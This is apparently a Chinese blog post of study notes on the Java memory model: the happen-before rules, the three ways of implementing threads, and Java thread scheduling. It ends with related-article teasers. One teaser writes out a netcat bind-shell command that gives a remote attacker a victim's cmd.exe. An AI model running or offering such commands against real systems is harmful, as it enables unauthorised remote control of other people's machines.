先行先发生原则(happen-before原则)

先行先发生是指Java内存模型中定义的两项操作之间的偏序关系。

如果说A先行于B,其实就是说在发生B操作之前,操作A产生的影响能被操作B观察到,至于这个影响可以是修改内存中的共享变量也可以是发送消息、调用某个方法等。

happen-before要求前一个操作的执行结果对后一个操作可见,并且前一个操作按照顺序排在第二个操作之前。

happen-before规则:

  1. **程序次序规则:**在一个线程内,按照程序代码顺序,书写在前面的操作要先行发生于书写在后面的操作。准确的说,应该是控制流顺序而不是程序代码的顺序。
  2. 管程锁定规则:一个unlock操作要先行发生于lock。这里需要强调的是通一把锁。
  3. volatile变量规则:对一个volatile变量的写操作线性发生于后面对这个变量的读操作,后面是指时间的先后顺序。
  4. 线程启动规则:Thread对象的start方法先行发生于此线程的每个动作。
  5. 线程终止规则:线程中的所有操作都先行发生于对此线程的终止检测,比如线程A中执行ThreadB.join();那么线程B中的任意操作先行于A从ThreadB.join()操作成功返回。
  6. 线程中断规则:对线程Thread.interrupt()方法的调用先行发生于被中断线程的代码检测到中断事件的发生。
  7. 对象终结规则:一个对象的初始化完成要先行于他的finalize()方法的开始。
  8. 传递性:如果操作A先行发生于操作B,操作B先行发生于操作C,那就可以得出操作A先行发生于C。

时间先后顺序与happen-before原则之间基本没有太大的关系,所以我们衡量并发安全问题的时候不要受到时间顺序的干扰,一切以happen-before原则为准。

实现线程的三种方式

线程是比进程更轻量的调度执行单位,线程的引入是把进程的资源分配和调度分开,进程是资源分配的基本单位,线程以后成为了执行调度的基本单位

实现线程的的方式主要有三种,分别是内核线程实现,用户线程实现,用户线程和轻量级进程组合实现

使用内核线程实现

内核线程是由操作系统内核支持的线程,内核通过调度器来调度内核线程,并负责将线程的任务映射到各个处理器上。每个内核线程可以视为内核的一个分身。支持多线程的内核叫做多线程内核。

程序不会直接使用内核线程而是通过接口–轻量级进程来调用。每个轻量级进程都对应一个内核线程,所以他们之间的比例是1:1的关系。

使用轻量级进程实现线程的优点:因为有内核线程的支持,每个轻量级进程都会成为一个独立的调度单位,即使其中有一个轻量级进程在系统调用过程中阻塞了,也不会影响整个进程继续工作。

使用轻量级进程实现线程的缺点:轻量级进程需要很多次的系统调用,系统调用的代价是很高的,操作系统需要不停的在用户态和 内核态之间进行切换。每个轻量级进程都有一个内核线程的支持,因此轻量级线程耗费的不少内核资源,所以说内核中的轻量级进程的数量是有限的。

使用用户线程实现

从广义上讲,线程不是内核线程就是用户线程,其实要这么来说,轻量级进程也是用户线程。

从狭义上讲。用户线程是指完全建立在用户空间的线程库上,系统内核不会感知到用户线程的存在,其中用户线程的同步,创建,销毁都在用户态下进行,不需要内核的参与。因此这种实现是非常快速并且是低消耗的。所以部分高性能的数据库中的多线程就是由多用户线程实现的。这种实现方式下的进程和线程之比是 1:N。也称为一对多线程模型。


这种实现方式的优点:不需要内核的帮助,快速高效且低消耗。
缺点:由于没有内核参与所以考虑的问题是非常多的,导致实现过程过于复杂。

用户线程和轻量级进程混合实现

线程除了以上两种实现方式外,还有用户线程和轻量级进程的混合使用。在这种模式下,既存在用户线程也存在轻量级进程。操作系统提供轻量级进程作为用户线程和内核线程之间的桥梁。这样可以使用内核提供的线程调度功能以及处理器映射,并且用户线程的系统调用通过轻量级进程来完成,大大奖励了整个进程被完全阻塞的风险,在这种模式下,用户线程和轻量级进程的数量都是不确定的,所以是N:M 的关系。Unix系列的操作系统就提供了这种实现模式。

Java线程的实现

在JDK1.2之前是基于称为“绿色线程”的用户线程来实现的。在JDK1.2中,线程模型改为基于操作系统的线程模型,换句话说,操作系统选择哪种线程模型,Java虚拟机就选择哪种线程映射方式。线程模型只对线程的并发规模和操作成本产生影响,对Java的运行过程来说这些差异是感受不到的。

在Windows和Linux操作系统上,两个操作系统都选择的是1:1线程模型,一条Java线程就映射到一条轻量级进程中,因为Windows和Linux系统提供的线程模型就是一对一的。

Java线程的调度

线程调度就是系统为线程分配处理器使用权的过程,主要分为两种,一种是协同式,一种是抢占式调度

如果使用系协同式调度,那就是线程把自己的任务执行完成后才切换到另一个线程,线程占用处理器的时间由线程自身决定。协同式的好处就是实现简单,切换线程对线程本身来讲是可知的,所以没有什么线程同步问题。
它的缺点也很明显,线程执行时间不受限制,如果一个线程编写的有问题,那他将一直占据处理器的使用,程序一直阻塞在那儿,相当不稳定。

抢占式调度中的每个线程的执行时间交由系统来决定,线程之间的切换不是由线程自身决定。在这种实现线程调度的方式下,线程的执行时间是系统可控的,也不会有一个线程阻塞导致整个进程阻塞的问题,而Java就是采用的抢占式线程调度。

我们可以“建议”系统给某些线程分配多一点执行时间,给一些线程分配少一些执行时间,整个可以通过设置线程优先级来实现。Java一共设置的有10个线程优先级,在两个线程同时处于就绪态的时候,优先级越高的线程越容易被系统选中执行。不过有时候这种采用优先级的方式又不太靠谱,因为Java的线程最后是映射到系统的原声线程来实现的,所以线程调度最终取决于操作系统。如果操作系统中的优先级设置的种类比Java设置的优先级的种类少,那么就会出现几个优先级相同的情况了。例如Windows设置的线程优先级就只有7种,Java设置的有10种,所以Windows至少得重复3种才可以和Java进行对应。

Java线程状态之间的转换

具体看我这篇博文

Java线程的状态以及之间的转换

参考:《深入理解Java虚拟机 第二版》周志明

Java内存模型与线程(二)线程的实现和线程的调度的更多相关文章

  1. 深入理解JMM(Java内存模型) --(二)重排序

    [转载自并发编程网 – ifeve.com 原文链接:http://ifeve.com/tag/jmm/] 数据依赖性 如果两个操作访问同一个变量,且这两个操作中有一个为写操作,此时这两个操作之间就存 ...

  2. java内存模型(线程,volatile关键字和sychronized关键字)

    volatile关键字 用在多线程,同步变量. 线程为了提高效率,将某成员变量(如A)拷贝了一份(如B),线程中对A的访问其实访问的是B.只在某些动作时才进行A和B的同步.因此存在A和B不一致的情况. ...

  3. 深入理解Java虚拟机(第三版)-13.Java内存模型与线程

    13.Java内存模型与线程 1.Java内存模型 Java 内存模型的主要目的是定义程序中各种变量的访问规则,即关注在虚拟机中把变量值存储到主内存和从内存中取出变量值的底层细节 该变量指的是 实例字 ...

  4. 多线程并发之java内存模型JMM

    多线程概念的引入是人类又一次有效压寨计算机的体现,而且这也是非常有必要的,因为一般运算过程中涉及到数据的读取,例如从磁盘.其他系统.数据库等,CPU的运算速度与数据读取速度有一个严重的不平衡,期间如果 ...

  5. 对多线程java内存模型JMM

    多线程概念的引入体现了人类重新有效压力寨计算机.这是非常有必要的,由于所涉及的读数据的过程中的一般操作,如从磁盘.其他系统.数据库等,CPU计算速度和数据读取速度已经严重失衡.假设印刷过程中一个线程将 ...

  6. Java内存模型分析

    在学习Java内存模型之前,先了解一下线程通信机制. 1.线程通信机制 在并发编程中,线程之间相互交换信息就是线程通信.目前有两种机制:内存共享与消息传递. 1.1.共享内存 Java采用的就是共享内 ...

  7. 理解JAVA内存模型

    实际上java内存模型是如上图所示一样 每个线程有自己的栈内存,存放共享对象的副本,本地变量 每个线程自己的本地变量是不可见的,但是共享对象对每个线程都是可见的. 如果想实现线程通信的话, 线程对共享 ...

  8. Java 并发系列之三:java 内存模型(JMM)

    1. 并发编程的挑战 2. 并发编程需要解决的两大问题 3. 线程通信机制 4. 内存模型 5. volatile 6. synchronized 7. CAS 8. 锁的内存语义 9. DCL 双重 ...

  9. 第十二章 Java内存模型与线程

    Java内存模型(Java Memory Model,JMM): 主内存与工作内存:Java内存模型主要是定义程序中各个变量的访问规则.Java内存模型规定了所有的变量都存储在主内存(Main Mem ...

  10. 《深入理解Java虚拟机》笔记--第十二章、Java内存模型与线程

    主要内容:虚拟机如何实现多线程.多线程之间由于共享和竞争数据而导致的一系列问题及解决方案. Java内存模型:     Java内存模型的主要目标是定义程序中各个变量的访问规则,即在虚拟机中将变量存储 ...

随机推荐

  1. Java模拟表单POST上传文件

    JAVA模拟表单POST上传文件 import java.awt.image.BufferedImage;import java.awt.image.ColorModel;import java.io ...

  2. 数据结构与算法——图(游戏中的自动寻路-A*算法)

    在复杂的 3D 游戏环境中如何能使非玩家控制角色准确实现自动寻路功能成为了 3D 游戏开 发技术中一大研究热点.其中 A*算法得到了大量的运用,A*算法较之传统的路径规划算法,实时性更高.灵活性更强, ...

  3. SpringBoot瘦身部署(15.9 MB - 92.3 KB)

    1. 简介   SpringBoot项目部署虽然简单,但是经常因为修改了少量代码而需要重新打包上传服务器重新部署,而公网服务器的网速受限,可能整个项目的代码文件仅仅只有1-2MB甚至更少,但是需要上传 ...

  4. Docker(二):Docker镜像仓库Harbor搭建

    安装docker-compose 因为docker-compose下载容易失败, 所以选择从github下载方式安装. [root@harbor ~]# mv docker-compose-Linux ...

  5. Flutter AS设备连接显示loading解决方案

    看了网上很多解决方案,基本都是要杀dart进程后,删除lockfile 文件,然后运行检查命令flutter doctor. 这个方式有一定的意义,但是确实不一定解决这个问题. 今天就遇到了这样的问题 ...

  6. CentOS 7 mini版本安装后必须要做的几件事

    Linux家族非常的庞大,诸如Debian.Ubuntu.RedHat.CentOS.ArchLinux.Gentoo,甚至还有国内比较有名的Deepin,都是Linux家族闪耀的明星.根据实际需求涉 ...

  7. PHP基础再练习

    一.变量 字母 char , string 类型 数字 int,float类型 数组: 需要注意的是 1.变量名 区分大小写 2.数字不能当变量名开头 echo "var_dump就相当于 ...

  8. nc监控实现调用受害者cmd

    正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者:nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 8 ...

  9. 群晖DS218+部署GitLab

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  10. 安装篇七:配置 Nginx 使其支持 PHP 应用

    配置说明(NGINX-PHP) (让nginx  php(中间件)之间建立关系):nginx--php建立关系---fastcgi---cgi 第一个里程: 编写nginx虚拟主机配置文件 第二个里程 ...